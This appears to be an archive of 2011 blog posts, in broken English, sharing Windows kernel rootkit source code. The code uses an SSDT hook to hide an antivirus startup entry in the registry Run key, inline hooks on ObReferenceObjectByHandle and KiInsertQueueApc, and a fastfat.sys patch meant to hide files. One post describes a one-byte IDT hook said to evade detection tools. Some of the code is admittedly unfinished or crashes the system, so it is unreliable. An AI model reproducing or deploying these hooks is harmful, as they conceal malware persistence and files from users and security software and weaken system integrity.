Showing posts with label hook. Show all posts
Showing posts with label hook. Show all posts

Friday, September 16, 2011

Hide key value of registry

Author:liukeblue
Wrote a simple driver about Hide key value of registry, Through HOOK ZwEnumerateValueKey  to realize.
Code:
#include <ntddk.h>
#include <stdio.h>

//定义ObQueryNameString
NTSYSAPI NTSTATUS NTAPI ObQueryNameString(
                IN PVOID Object,
            OUT PVOID ObjectNameInfo,
            IN ULONG Length,
            OUT PULONG ReturnLength
            );

//定义ZwEnumerateValueKey
NTSYSAPI NTSTATUS NTAPI ZwEnumerateValueKey(
            IN HANDLE KeyHandle,
            IN ULONG Index,
            IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass,
            OUT PVOID KeyValueInformation,
            IN ULONG Length,
            OUT PULONG ResultLength
            );


//定义要Hook的API函数原型                     
NTSTATUS MyZwEnumerateValueKey(
            IN HANDLE KeyHandle,
            IN ULONG Index,
            IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass,
            OUT PVOID KeyValueInformation,
            IN ULONG Length,
            OUT PULONG ResultLength
            );                     
                     
                     
//声明函数指针,并且函数返回值为NTSTATUS类型                   
typedef NTSTATUS (*REALZWENUMERATEVALUEKEY)(
               IN HANDLE KeyHandle,
            IN ULONG Index,
            IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass,
            OUT PVOID KeyValueInformation,
            IN ULONG Length,
            OUT PULONG ResultLength
            );                     
                 
           
REALZWENUMERATEVALUEKEY RealZwEnumerateValueKey=NULL;

//这就是要隐藏的键值,这里我隐藏的键值是瑞星杀毒软件的启动项,你也可以改成别的
PWSTR HideValue=L"RavTray";  

#pragma pack(1)
typedef struct ServiceDescriptorEntry{
        unsigned int  *ServiceTableBase;
    unsigned int  *ServiceCounterTableBase;
    unsigned int  *NumberOfServices;
    unsigned char *ParamTableBase;
}ServiceDescriptorTableEntry_t,*PServiceDescriptorTableEntry_t;
#pragma pack() 

_declspec(dllimport)  ServiceDescriptorTableEntry_t KeServiceDescriptorTable;
 
#define SYSCALL(_function) KeServiceDescriptorTable.ServiceTableBase[*(PULONG)((PUCHAR)_function+1)] 

NTSTATUS HookApi();
NTSTATUS UnHook();
PVOID GetPointer(HANDLE handle);
NTSTATUS DriverUnload(IN PDRIVER_OBJECT DriverObject);






PVOID GetPointer(HANDLE handle)
{
PVOID pKey;
if(!handle) return NULL;
if (ObReferenceObjectByHandle(handle,0,NULL,KernelMode,&pKey,NULL)!=STATUS_SUCCESS)
{
pKey=NULL;
}
return pKey;
}


NTSTATUS MyZwEnumerateValueKey(
            IN HANDLE KeyHandle,
            IN ULONG Index,
            IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass,
            OUT PVOID KeyValueInformation,
            IN ULONG Length,
            OUT PULONG ResultLength
            )
{
  PVOID pKey;
  UNICODE_STRING *pUniName;
  ULONG actuallen;
  UNICODE_STRING uStrValueName;
  ANSI_STRING keyname;
  NTSTATUS status;
  PWSTR ValueName;
  ULONG NameLen;

  status=((REALZWENUMERATEVALUEKEY)(RealZwEnumerateValueKey))(
                                 KeyHandle,
                     Index,
                     KeyValueInformationClass,
                     KeyValueInformation,
                       Length,
                       ResultLength);
   pKey=GetPointer(KeyHandle); 
 
   if (pKey)
   {
    pUniName=ExAllocatePool(NonPagedPool,1024*2);
  pUniName->MaximumLength=512*2;
  memset(pUniName,0,pUniName->MaximumLength);
  if(NT_SUCCESS(ObQueryNameString(pKey,pUniName,512*2,&actuallen)))
  {
     RtlUnicodeStringToAnsiString(&keyname,pUniName,TRUE);   
    
   DbgPrint("%ws\n",pUniName->Buffer); 
   keyname.Buffer=_strupr(keyname.Buffer);
  
   if (strcmp(keyname.Buffer,"\\REGISTRY\\MACHINE\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN")==0)
    {
        ValueName =((PKEY_VALUE_FULL_INFORMATION)KeyValueInformation)->Name; 
        if (ValueName!=NULL&&wcsstr(ValueName,HideValue)!=NULL)
        {
        Index++;
    ValueName=NULL;
    return ((REALZWENUMERATEVALUEKEY)(RealZwEnumerateValueKey))(
                                 KeyHandle,
                     Index,
                     KeyValueInformationClass,
                     KeyValueInformation,
                       Length,
                       ResultLength);
    }
  //DbgPrint("ValueName=%ws\n",ValueName); 
        
     }
   }
  }

return ((REALZWENUMERATEVALUEKEY)(RealZwEnumerateValueKey))(
                                 KeyHandle,
                     Index,
                     KeyValueInformationClass,
                     KeyValueInformation,
                       Length,
                       ResultLength);

}




NTSTATUS HookApi()
{
    RealZwEnumerateValueKey = (REALZWENUMERATEVALUEKEY)SYSCALL(ZwEnumerateValueKey);
_asm{
   mov eax,cr0
   and eax,not 10000h
   mov cr0,eax
    }

(REALZWENUMERATEVALUEKEY)SYSCALL(ZwEnumerateValueKey)=MyZwEnumerateValueKey;
_asm{

   mov eax,cr0
   or eax,10000h
   mov cr0,eax
}
return( STATUS_SUCCESS );
}



NTSTATUS UnHook()
{
_asm{
   mov eax,cr0
   and eax,not 10000h
   mov cr0,eax
}
(REALZWENUMERATEVALUEKEY)SYSCALL(ZwEnumerateValueKey) = RealZwEnumerateValueKey;
_asm{ 
    
   mov eax,cr0
   or eax,10000h
   mov cr0,eax
}
return STATUS_SUCCESS ;
} 




NTSTATUS DriverUnload(IN PDRIVER_OBJECT DriverObject)
{
NTSTATUS status;
DbgPrint("OnUnload called!\n");
status=UnHook();
return status;
}


NTSTATUS DriverEntry(IN PDRIVER_OBJECT theDriverObject,
           IN PUNICODE_STRING theRegistryPath)
{

  theDriverObject->DriverUnload=DriverUnload;
    HookApi();
  DbgPrint("Hook Called!\n");
  return STATUS_SUCCESS ;
}

Thursday, August 11, 2011

Hook Specials 4: combine inline hook with idt hook

Author:Sysnap
   Inline hook is to modify some bytes of a fuction for jump instruction go to funtions oneself to execute......

   IDT HOOK is to modify entry fuction for normal exception handling on IDT table be do function's address oneself.

   Put the two ideas of thoughts is combined - """"one byte's hook""""
   Watch:

    nt!NtOpenFile:
    80579fd0 8bff            mov     edi,edi
    80579fd2 55              push    ebp
    80579fd3 8bec            mov     ebp,esp

    No problem is do inline hook the funtion.....But there only modify one byte...So that isn't inline hook 

    mov     edi,edi The Opcode is 8bff...........We modify 8b to 0xCD.....Then executed
    Then nt!NtOpenFile.....The mean executed 0xCD 0xFF and the opcode is INT 0XFF...Ah.....Then exception is occur......Goto dispose exception handling of INT 0XFF的............We can IDT HOOK INT 0XFF.........So our function onself is executed

     Summarizes:::The way can bypass many of tools about inline hook now...Because We modified one byte of function's start...In essence,That isn's inline hook,Because without jmp.....

     But modified IDT.....Need DUMP IDT for realize to have exception  ..........So dectect IDT is important....The table is used for virus....Except that,""""one byte hook"""""and keyboard record...Ban debug etc..........

Hook Specials 3: Bypass head of functions for inline hook

 Anthor:xacker
Alway lurk and benefit from watch past master posts,So published the article.
The ways is simple,Not dispose relocation table.
that is code:
http://filemarkets.com/file/newbing/399eb37e/

Tuesday, August 9, 2011

Hook Specials 2: Inline hook for the first time emerge BSOD

Anthor:emc
While debugging inline hook wirtten by oneself,BSOD was be emerged.Then windbg was be used to debug file of dump.The information as:

PEB is paged out (Peb.Ldr =7ffd500c) .   Type " . hh dbgerr001"  for details
PEB is paged out (Peb.Ldr =7ffd500c) .   Type " . hh dbgerr001"  for details

I had already check up peb structure and _ PEB_LDE_DATA structure,But does not understand what meaning the information above is.Past master helps me to have a watch for change it.

Inline hook was on ObReferenceObjectByHandle,That is code:

#include <ntddk.h >
#include <string.h >

extern POBJECT_TYPE *PsProcessType;

void close_write_protected()
{
  //cancel write protected
  __asm
  {
    CLI           
    MOV eax, CR0     
    AND eax, NOT 10000H 
    MOV CR0, eax
  }
}

void open_write_protected()
{
  __asm
  {
    MOV eax, CR0
    OR eax, 10000H
    MOV CR0, eax
    STI
  } 
}

//this routine unload current driver
VOID DriverUnload(IN PDRIVER_OBJECT DriverObject)
{
  KIRQL irql;

  unsigned char routine_head[5] = {0x8b,0xff,0x55,0x8b,0xec} ;

  irql = KeRaiseIrqlToDpcLevel() ;
  close_write_protected() ;
 
  //unload inline hook
  RtlCopyMemory(ObReferenceObjectByHandle,routine_head ,5);
 
  open_write_protected() ;
  KeLowerIrql(irql) ;

  DbgPrint(" inline hook success unload." );

  return;
}

int call_failed(
        IN HANDLE Handle,
        IN ACCESS_MASK DesiredAccess,
        IN POBJECT_TYPE ObjectType,
        IN KPROCESSOR_MODE AccessMode,
        OUT PVOID *Object,
        OUT POBJECT_HANDLE_INFORMATION HandleInfo
        )
{ 
  KIRQL irql;
 
  //mov edi,edi
  //push ebp
  //mov ebp,esp
  unsigned char routine_head[5] = {0x8b,0xff,0x55,0x8b,0xec} ;
 
  //jmp address
  unsigned char jmp_code[5] = {0xe9,0x00,0x00,0x00,0x00} ;

  if(ObjectType == *PsProcessType)   //this object is a process
  {
   
    irql = KeRaiseIrqlToDpcLevel() ;
    close_write_protected() ;

    //unload inline hook
    RtlCopyMemory(ObReferenceObjectByHandle,routine_head ,5);
   
    ObReferenceObjectByHandle(
        Handle,        
        DesiredAccess,
        ObjectType,
        AccessMode,
        Object,
        HandleInfo
      );
   
    open_write_protected() ;
    KeLowerIrql(irql) ;

    if(_stricmp((const char *) Object+0x174," notepad.exe" ) ! =0)  //this process is protected
    {
      return 1;
    }
    else
    {
      *Object = (PVOID) -1;
      return 0;
    }   
  }
  return 0;
}

//jmp this routine
__declspec(naked)  my_routine()
{
  __asm
  {
    mov edi,edi
    push ebp
    mov ebp,esp

    //parameter enter the stack
    push [ebp+0x1c]
    push [ebp+0x18]
    push [ebp+0x14]
    push [ebp+0x10]
    push [ebp+0xc]
    push [ebp+8]

    call call_failed
  }
}

//driver program entry routine
//rewrite ObReferenceObjectByHandle()  start 5 byte for jmp address to my_routine
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject,IN PUNICODE_STRING RegistryPath)
{
  int jmp_offset; //a jmp operation from current to my_routine
  KIRQL irql;
  unsigned char jmp_code[5] = {0xe9,0x00,0x00,0x00,0x00} ;

  DriverObject -> DriverUnload = DriverUnload; //set this driver unload routinue
 
  irql = KeRaiseIrqlToDpcLevel() ;
  close_write_protected() ;
 
  //inline hook ObReferenceObjectByHandle()
  jmp_offset = (char *) my_routine - (char *) ObReferenceObjectByHandle - 5;
  RtlCopyMemory(jmp_code+1,&jmp_offset ,4);
  RtlCopyMemory(ObReferenceObjectByHandle,jmp_code ,5);

  open_write_protected() ;
  KeLowerIrql(irql) ;
 
  DbgPrint(" install inline hook success." );

  return STATUS_SUCCESS;
} 

Answer:

Refer to code:

Monday, August 8, 2011

Hook Specials 1: Pubilish project about inline hook

Anthor:shdaianita
The project is simpler and refer to master-hand's code to practise oneself.While that is simpler,Novice is be suggest practice much.

The code:

NTSTATUS
DriverEntry(
  PDRIVER_OBJECT pDriverObj,
  PUNICODE_STRING pRegistryString
  )
{
  NTSTATUS status = STATUS_SUCCESS;
  UNICODE_STRING ustrLinkName;
  UNICODE_STRING ustrDevName;   
  PDEVICE_OBJECT pDevObj;

  //HardCode For Searching……
  ULONG Addr_KiInsertQueueApc=0;
  CHAR FindCode[1][5]={
    {0xe8,0x4b,0x2b,0x00,0x00}
  };

  KdPrint(("==>DriverEntry\n"));
 
  pDriverObj->MajorFunction[IRP_MJ_CREATE] = DispatchCreate;
  pDriverObj->MajorFunction[IRP_MJ_CLOSE] = DispatchClose;
  pDriverObj->MajorFunction[IRP_MJ_DEVICE_CONTROL] = DispatchIoctl;
  pDriverObj->DriverUnload = DriverUnload;


  RtlInitUnicodeString(&ustrDevName, DEVICE_NAME);
  status = IoCreateDevice(pDriverObj,
        0,
        &ustrDevName,
        FILE_DEVICE_UNKNOWN,
        0,
        FALSE,
        &pDevObj);

  if(!NT_SUCCESS(status))  {
    return status;
  }

  RtlInitUnicodeString(&ustrLinkName, LINK_NAME);
  status = IoCreateSymbolicLink(&ustrLinkName, &ustrDevName); 
  if(!NT_SUCCESS(status)) {
    IoDeleteDevice(pDevObj); 
    return status;
  }
 

  //
  // 添加执行代码
  //

  KdPrint(("Search ……\n"));
    OrigfnAddr.KiInsertQueueApc=GetTargetFnAddrFromExportedFn(FindCode[0],L"KeInsertQueueApc",100,0x2b4b);
  if (OrigfnAddr.KiInsertQueueApc!=0)
  {
    KdPrint(("We find it!Address of KiInsertQueueApc: 0x%08x\n",OrigfnAddr.KiInsertQueueApc));
  }
  else
  {
    KdPrint(("Not Find~ \n"));
    return STATUS_UNSUCCESSFUL;
  }

  status=InlineHook(OrigfnAddr.KiInsertQueueApc,(ULONG)fake_KiInsertQueueApc,(ULONG)Proxy_KiInsertQueueApc,OrigHeadCode.KiInsertQueueApc); //进行inlineHook
  if (!NT_SUCCESS(status))
  {
    return status;
  }

  KdPrint(("<==DriverEntry\n"));

  return status;
}


VOID
DriverUnload(
  PDRIVER_OBJECT pDriverObj
  )
{ 
  UNICODE_STRING strLink;
  NTSTATUS status;

  RtlInitUnicodeString(&strLink, LINK_NAME);


  //
  // add unload's code
  //

  status=UnHook(OrigfnAddr.KiInsertQueueApc,OrigHeadCode.KiInsertQueueApc);
  if (!NT_SUCCESS(status))
  {
    KdPrint(("DriverUnload!UnHook Failre~"));
  }

 
  IoDeleteSymbolicLink(&strLink);
  IoDeleteDevice(pDriverObj->DeviceObject);
  KdPrint(("==>DriverUnload\n"));
}

 
Next codes realize hooking:

//WriteProtect OFF/ON By MDL!
PVOID WPOFFByMdl(PVOID VirtualAddr,ULONG uLen,PMDL pMDL)
{
  PVOID MVA=NULL; //system-base VA maps physical pages that MDL describes

  pMDL=IoAllocateMdl(VirtualAddr,uLen,FALSE,FALSE,NULL);
  if (pMDL==NULL)
  {
    KdPrint(("WPOFF!IoAllocateMdl FAILURE pMdl==NULL\n"));
    return NULL;
  }

  MmBuildMdlForNonPagedPool(pMDL);

  _try
  {
    MmProbeAndLockPages(pMDL,KernelMode,IoModifyAccess);
  }
  _except(EXCEPTION_EXECUTE_HANDLER)
  {
    return NULL;
  }

  pMDL->MdlFlags|=MDL_MAPPED_TO_SYSTEM_VA;

  MVA=MmGetSystemAddressForMdlSafe(pMDL,NormalPagePriority);
  if (MVA)
  {
    KdPrint(("MVA : %x",MVA));
  }

    KdPrint(("WPOFFByMdl Successful"));
  return MVA;
}

VOID WPONByMdl(PMDL pMdl)
{
  if (pMdl==NULL)
  {
    return ;
  }

  MmUnlockPages(pMdl);
  IoFreeMdl(pMdl);


}

//Write Protect OFF/ON By CR0!
VOID WPOFFByCR0()
{
  
    ULONG uAttr;
  
    _asm
    {
        push eax;
        mov eax, cr0;
        mov uAttr, eax;
        and eax, 0FFFEFFFFh; // CR0 16 BIT = 0
        mov cr0, eax;
        pop eax;
        cli
    };
  
    g_uCr0 = uAttr; //Keep original CRO  
}

VOID WPONByCR0()
{
  
    _asm
    {
        sti
        push eax;
        mov eax, g_uCr0; //恢原有 CR0 性
        mov cr0, eax;
        pop eax;
    };
  

}

///////////////////////////////////////////////////////////////////////
//Get the exported function's address
ULONG GetFunctionAddr(PCWSTR FunctionName)
{
  UNICODE_STRING uFnName;

  RtlInitUnicodeString(&uFnName,FunctionName);

  return (ULONG)MmGetSystemRoutineAddress(&uFnName);
}

//Find  address of the function that we want to hook
//
//Description:Through known function to find us target function
//
//ARGUMENTs:
//
//FindCode:find target function(want to hook functiong),use hard code
//ExportedFnName:Known function's name
//SearchLen:at Known functions search length
//Offset:relatively jump value
//
ULONG GetTargetFnAddrFromExportedFn(CHAR* FindCode,PCWSTR ExportedFnName,ULONG SearchLen,ULONG Offset)
{
  ULONG i=0,j=0;
    CHAR * Addr_ExportedFn=NULL;
  ULONG TargetFnAddr=0;

  Addr_ExportedFn=(CHAR*)GetFunctionAddr(ExportedFnName);
  if (Addr_ExportedFn==NULL)
  {
    KdPrint(("GetTargetFnAddrFromExportedFn!GetFunctionAddr FAILURE\n"));
    return 0;
  }

  for (i=0;i<SearchLen;i++)                //搜索用户指定长度的函数字节
  {
    if (Addr_ExportedFn[i]==FindCode[0])
    {
      for (j=1;j<sizeof(FindCode);j++)
      {
        if (Addr_ExportedFn[i+j]==FindCode[j])
        {
          continue;
        }
        else
        {
          break;
        }
      }

      if (j==sizeof(FindCode))
      {
     
        TargetFnAddr=(ULONG)&Addr_ExportedFn[i]+Offset+5;  //由相对jmp的dword值得到

        break;
      }
    }
  }


  return TargetFnAddr;
}

//////////////////////////////////////////////////////////////////////////////////////////////////////
//
//Hook Function
//
NTSTATUS InlineHook(ULONG OrigFnAddr,ULONG FakeFnAddr,ULONG ProxyFnAddr,PVOID OrigHeadCode)
{
  KIRQL oldIrql;
  BYTE  HookCode[5]={0xe9,0x00,0x00,0x00,0x00};
  BYTE  jmpCode[7]={0xEA,0x00,0x00,0x00,0x00,0x08,0x00};

  PVOID MVA=NULL;

  if (!OrigFnAddr||!FakeFnAddr||!ProxyFnAddr||!OrigHeadCode)
  {
    return STATUS_UNSUCCESSFUL;
  }

  RtlCopyMemory(OrigHeadCode,(BYTE*)OrigFnAddr,5);

  *(ULONG*)(HookCode+1)=(ULONG)FakeFnAddr-(ULONG)OrigFnAddr-5;

  *(ULONG*)(jmpCode+1)=(ULONG)((BYTE*)OrigFnAddr+0x05);// 不需要相对跳转,这里是长转移

  RtlCopyMemory((BYTE*)ProxyFnAddr,(BYTE*)OrigHeadCode,5);
  RtlCopyMemory((BYTE*)ProxyFnAddr+5,(BYTE*)jmpCode,7);

  /*WPOFFByCR0();*/                                   //这里是去掉内存写保护,两种方法,我们选择MDL的方法
  MVA=WPOFFByMdl((PVOID)OrigFnAddr,10,MDLs.KiInsertQueueApc);
  if (!MVA)
  {
    KdPrint(("WPOFFByMdl FAILURE~"));
    return STATUS_UNSUCCESSFUL;
  }

  oldIrql=KeRaiseIrqlToDpcLevel();

  /*RtlCopyMemory((BYTE*)OrigFnAddr,(BYTE*)HookCode,5);*/      //将要HOOK的函数的函数头前5个字节改写 跳到我们的fake函数里面
  RtlCopyMemory((BYTE*)MVA,(BYTE*)HookCode,5);        

  KeLowerIrql(oldIrql);

  /*WPONByCR0();*/
    WPONByMdl(MDLs.KiInsertQueueApc);    //Recover write-protect

  return STATUS_SUCCESS;
}


//
// Stop inline hook
//
NTSTATUS UnHook(ULONG OrigFnAddr,PVOID OrigHeadCode)
{
    KIRQL  oldIrql;
  PVOID MVA=NULL;

  if (!OrigFnAddr||!OrigHeadCode)
  {
    return STATUS_UNSUCCESSFUL;
  }

    /*WPOFFByCR0();*/
  MVA=WPOFFByMdl((PVOID)OrigFnAddr,10,MDLs.KiInsertQueueApc);
  if (!MVA)
  {
    KdPrint(("WPOFFByMdl FAILURE~"));
    return STATUS_UNSUCCESSFUL;
  }

    oldIrql = KeRaiseIrqlToDpcLevel();
   
    RtlCopyMemory ( (BYTE*)OrigFnAddr, OrigHeadCode, 5 );

    KeLowerIrql(oldIrql);
   
  /*WPONByCR0();*/
  WPONByMdl(MDLs.KiInsertQueueApc);

  return STATUS_SUCCESS;
}

Sunday, August 7, 2011

FSD inline hook

Anthor:hfyy
Time:2008-05-13 19:32:44

This is unfinished code,I wanted to hide file,But The code turn up question to worte specific for hide file.So Pubilish to help,


code:
#include "ntddk.h"

typedef BOOLEAN BOOL;
typedef unsigned long DWORD;
typedef DWORD * PDWORD;
typedef unsigned long ULONG;
typedef unsigned short WORD;
typedef unsigned char BYTE;

typedef struct _FILE_BOTH_DIR_INFORMATION {
    ULONG NextEntryOffset;
    ULONG FileIndex;
    LARGE_INTEGER CreationTime;
    LARGE_INTEGER LastAccessTime;
    LARGE_INTEGER LastWriteTime;
    LARGE_INTEGER ChangeTime;
    LARGE_INTEGER EndOfFile;
    LARGE_INTEGER AllocationSize;
    ULONG FileAttributes;
    ULONG FileNameLength;
    ULONG EaSize;
    CCHAR ShortNameLength;
    WCHAR ShortName[12];
    WCHAR FileName[1];
} FILE_BOTH_DIR_INFORMATION, *PFILE_BOTH_DIR_INFORMATION;

typedef struct tag_QUERY_DIRECTORY
{
  ULONG Length;
  PUNICODE_STRING FileName;
  FILE_INFORMATION_CLASS FileInformationClass;
  ULONG FileIndex;
} QUERY_DIRECTORY, *PQUERY_DIRECTORY;

typedef struct  _REQINFO{
  PIO_COMPLETION_ROUTINE    OldCompletion;
} REQINFO,*PREQINFO;

NTSYSAPI NTSTATUS
ObReferenceObjectByName(
            IN PUNICODE_STRING ObjectPath,
            IN ULONG Attributes,
            IN PACCESS_STATE PassedAccessState OPTIONAL,
            IN ACCESS_MASK DesiredAccess OPTIONAL,
            IN POBJECT_TYPE ObjectType,
            IN KPROCESSOR_MODE AccessMode,
            IN OUT PVOID ParseContext OPTIONAL,
            OUT PVOID *ObjectPtr);

typedef  NTSTATUS  (*OLDIRPMJDIRECTORYCONTROL)(IN PDEVICE_OBJECT,IN PIRP);



NTSTATUS HookFastFat();//hook fastfat.sys
NTSTATUS MyCompletionRoutine(IN PDEVICE_OBJECT DeviceObject,IN PIRP Irp,IN PVOID Context);//完成示例
VOID write();//写入补丁
VOID write_back();//写回补丁
NTAPI MyDirectoryControl();//这个函数将inline在IRP_MJ_DIRECTORY_CONTROL之前
NTSTATUS Check();//测试一下  其实是硬编码 如果想应用在不同平台 需要改进


PDRIVER_OBJECT  pFile=NULL;//fastfat的PDRIVER_OBJECT
OLDIRPMJDIRECTORYCONTROL  OldIrpMjDirectoryControl;//原来的MajorFunction[IRP_MJ_DIRECTORY_CONTROL]
BOOL hook;//hook标志
PIO_STACK_LOCATION  irpStack;
DWORD        context;//这个用来传递完成示例的地址

// This is our unload function

VOID OnUnload( IN PDRIVER_OBJECT DriverObject )

{

    DbgPrint("OnUnload called\n");
  if (hook)
  {
    write_back();
  }
  //这里我用的方法是inline hook 还可以用下面方法hook IRP
  /*if (OldIrpMjDirectoryControl&&pFile)
  {
    InterlockedExchange((PLONG)&pFile->MajorFunction[IRP_MJ_DIRECTORY_CONTROL],(LONG)OldIrpMjDirectoryControl);
  }*/

}

NTSTATUS DriverEntry(IN PDRIVER_OBJECT theDriverObject,

                     IN PUNICODE_STRING theRegistryPath)

{
    NTSTATUS ntStatus;
    DbgPrint("I loaded!");
    ntStatus=HookFastFat();
    if(!NT_SUCCESS(ntStatus))
      return  ntStatus;
      // Initialize the pointer to the unload function

      // in the DriverObject

    theDriverObject->DriverUnload  = OnUnload;

    return STATUS_SUCCESS;

}
//hook fastfat.sys
NTSTATUS HookFastFat()
{
  char *p;
  int  i;
  NTSTATUS ntStatus;
  UNICODE_STRING  sFastFat;
  WCHAR  FastFatBuffer[]=L"\\FileSystem\\Fastfat";
  RtlInitUnicodeString(&sFastFat,FastFatBuffer);
  //得到pFile
  ntStatus=ObReferenceObjectByName(&sFastFat,
                  OBJ_CASE_INSENSITIVE,NULL,0,
                  ( POBJECT_TYPE )IoDriverObjectType,
                  KernelMode,NULL,&pFile);
 
  if(!NT_SUCCESS(ntStatus))
    return ntStatus;
  //保持一下旧的MajorFunction[IRP_MJ_DIRECTORY_CONTROL]
  OldIrpMjDirectoryControl=pFile->MajorFunction[IRP_MJ_DIRECTORY_CONTROL];
  p=(char *)OldIrpMjDirectoryControl;
  //函数地址change hook
  /*if (OldIrpMjDirectoryControl)
  {
    InterlockedExchange((PLONG)&pFile->MajorFunction[IRP_MJ_DIRECTORY_CONTROL],(LONG)MyControl);
  }*/
  //DbgPrint("%08X",p);
  /*for(i=0;i<7;i++)
  {
    DbgPrint("-0x%02X",(unsigned char)p[i]);
  }*/
  //在此处将补丁写入 将hook标志置TRUE
  if(NT_SUCCESS(Check()))
  {
    DbgPrint(" check SUCCESS");
    write();
    hook=TRUE;
  }
  else
    DbgPrint(" check UNSUCCESSFUL");
  return  ntStatus;
}
//测试一下
NTSTATUS Check()
{
  int i=0;
  char *p=(char *)OldIrpMjDirectoryControl;
  char c[]={0x6a,0x18,0x68,0x20,0x3d,0xd8,0xf9};
  for(;i<7;i++)
  {
    DbgPrint("-0x%02X",(unsigned char)p[i]);
    if(p[i]!=c[i])
    {
      return STATUS_UNSUCCESSFUL;
    }
  }
  return STATUS_SUCCESS;
}

//写入补丁
VOID write()
{
  KIRQL oldIrql;
  char *actual_function=(char *)OldIrpMjDirectoryControl;
  char *non_paged_memory;
  unsigned long detour_address;
  unsigned long reentry_address;
  int i = 0;
  //jmp 11223344
  char newcode[] = { 0xEA, 0x44, 0x33, 0x22, 0x11, 0x08, 0x00 };
  //要返回的地址是原来地址+7
  reentry_address = ((unsigned long)OldIrpMjDirectoryControl) + 7;
  //分配空间 要是NonPagedPool
  non_paged_memory = ExAllocatePool(NonPagedPool,1024);
  //将补丁写入non_paged_memory
  for(i=0;i<1024;i++)
  {
    ((unsigned char *)non_paged_memory)[i] = ((unsigned char *)MyDirectoryControl)[i];
  }
  //将地址保持在detour_address
  detour_address = (unsigned long)non_paged_memory;
  //将11223344替换为真正补丁地址
  *( (unsigned long *)(&newcode[1]) ) = detour_address;

  //将AAAAAAAA替换为真正的返回地址
  for(i=0;i<1024;i++)
  {
    if( (0xAA == ((unsigned char *)non_paged_memory)[i]) &&
      (0xAA == ((unsigned char *)non_paged_memory)[i+1]) &&
      (0xAA == ((unsigned char *)non_paged_memory)[i+2]) &&
      (0xAA == ((unsigned char *)non_paged_memory)[i+3]))
    {
      // we found the address 0xAAAAAAAA
      // stamp it w/ the correct address
      *( (unsigned long *)(&non_paged_memory[i]) ) = reentry_address;
      break;
    }
  }
  oldIrql = KeRaiseIrqlToDpcLevel();
  //写入补丁了
  __asm
  {
            push eax
            mov  eax, CR0
            and  eax, 0FFFEFFFFh
            mov  CR0, eax
            pop  eax
    }

  for(i=0;i < 7;i++)
  {
    actual_function[i] = newcode[i];
  }

  __asm
    {
            push eax
            mov  eax, CR0
            or   eax, NOT 0FFFEFFFFh
            mov  CR0, eax
            pop  eax
    }
  KeLowerIrql(oldIrql);
}
//写回
VOID write_back()
{
  KIRQL oldIrql;
  char *actual_function=(char *)OldIrpMjDirectoryControl;
  //将原来的指令写回 此处用的硬编码
  char c[]={0x6a,0x18,0x68,0x20,0x3d,0xd8,0xf9};
  int i;
  oldIrql = KeRaiseIrqlToDpcLevel();
  __asm
  {
            push eax
            mov  eax, CR0
            and  eax, 0FFFEFFFFh
            mov  CR0, eax
            pop  eax
    }

  for(i=0;i < 7;i++)
  {
    actual_function[i] = c[i];
  }

  __asm
    {
            push eax
            mov  eax, CR0
            or   eax, NOT 0FFFEFFFFh
            mov  CR0, eax
            pop  eax
  }
  KeLowerIrql(oldIrql);
}
//此处为naked 函数 防止编译器放入额外操作码
__declspec(naked) NTAPI MyDirectoryControl(IN PDEVICE_OBJECT DeviceObject,IN PIRP Irp)
{
  __asm
  {   
      pushad
      pushfd
  }
  //此处设置IRP CompletionRoutine并将原来的CompletionRoutine地址保存放入context
  irpStack=IoGetCurrentIrpStackLocation(Irp);
  irpStack->Control = 0;
  irpStack->Control |= SL_INVOKE_ON_SUCCESS;
  irpStack->Context=(PIO_COMPLETION_ROUTINE)ExAllocatePool(NonPagedPool,sizeof(PREQINFO));
  ((PREQINFO)irpStack->Context)->OldCompletion=irpStack->CompletionRoutine;
  irpStack->CompletionRoutine=(PIO_COMPLETION_ROUTINE)MyCompletionRoutine;
  __asm
  {   
      popfd
      popad
  }
  __asm
  {   
    // exec missing instructions
    push  18h
    push    0F9D83D20h
  }
    // jump to re-entry location in hooked function
    // this gets 'stamped' with the correct address
    // at runtime.
    //
    // we need to hard-code a far jmp, but the assembler
    // that comes with the DDK will not poop this out
    // for us, so we code it manually
    // jmp FAR 0x08:0xAAAAAAAA
  __asm
  {
    _emit 0xEA
    _emit 0xAA
    _emit 0xAA
    _emit 0xAA
    _emit 0xAA
    _emit 0x08
    _emit 0x00
  }
}
//CompletionRoutine
NTSTATUS MyCompletionRoutine(IN PDEVICE_OBJECT DeviceObject,IN PIRP Irp,IN PVOID Context)
{
  PIO_COMPLETION_ROUTINE old;
  old=((PREQINFO)Context)->OldCompletion;
  DbgPrint("MyCompletionRoutine called");
  ExFreePool(Context);
  if ((Irp->StackCount>(ULONG)1)&&(old!=NULL))
  {
    return  (old)(DeviceObject,Irp,NULL);
  }
  else
    return  Irp->IoStatus.Status;
}